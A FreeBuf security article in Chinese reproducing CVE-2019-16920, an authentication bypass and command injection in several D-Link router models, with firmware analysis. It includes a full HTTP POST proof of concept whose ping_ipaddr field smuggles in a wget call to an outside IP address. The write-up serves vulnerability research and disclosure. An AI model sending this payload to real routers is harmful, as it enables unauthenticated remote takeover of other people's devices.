freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Dlink路由器RCE漏洞复现
2019-11-01 13:00:51

近期研究人员发现Dlink路由器可以绕过认证进行远程代码执行,CVE编号:CVE-2019-16920。

主要影响路由器版本:

DIR-655、DIR-866L、DIR-652、DHP-1565

漏洞细节

漏洞起因为路由器对认证部分出现了bug,可以从登录页开始进行详细的分析。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384

通过URI /apply_sec.cgi进行登录验证,搜索代码中的apply_sec.cgi可快速定位其位于/www/cgi/ssi中的do_ssc (0x40a210) 

current_user和user_username从nvram获得:

1.PNG

随后程序会将current_user与acStack160中的值进行比较。

current_user的值会在成功登录后赋值,所以在默认状态下并没有进行初始化操作。acStack160 中的值是经过bsase64编码后的用户名,且默认 user_username为‘user',所以在进行比较时iVar2并不会返回0,程序不会跳转到错误页面。

2.PNG

程序在执行过程中会调用put_querystring_env() 函数来处理HTTP POST的数据,并将其保存至ENV中,随后会继续调用query_vars(“action”, acStack288, 0x80)。

3.PNG

最终返回‘action’,如果成功的话,返回值为0。

在返回‘action’为0后,跳入if语句中。程序会对URI和字符串 “/apply_sec.cgi”进行比较,比较相同后会将SSC_SEC_OBJS 赋值给ppcVar3.

4.PNG

SSC_SEC_OBJS 中存储的是行为列表,如果用户的行为不在列表中则会返回LAB_0040a458(“No OBJS for action: <action input>”)

5.PNG

可以在图2中发现问题所在,程序可以在未认证的状态下继续执行,因此可以执行SSC_SEC_OBJS列表中的行为。

SSC_SEC_OBJS具体初始化及存储内容如下:

6.PNG

7.PNG

其中可以尝试利用行为:ping_test

8.PNG

该行为实现函数中首先会从ping_ipaddr中取值,并通过inet_aton()进行转换,最终执行ping。

9.PNG

如果尝试输入任何特殊字符,如双引号、引号、分号等,ping将失败。如果我们传递换行符,例如:8.8.8.8%0als,可以执行命令注入。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

结果如下

10.PNG

总结

该漏洞的根本原因是系统命令执行过程中对执行的任意命令缺乏完整的检查,导致非法字符的注入,使得攻击者可以进行远程命令执行,这是许多固件制造商所面临的典型安全隐患。

*参考来源:fortinet,由Kriston编译,转载请注明来自FreeBuf.COM

# 路由器 # RCE漏洞 # DLINK
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者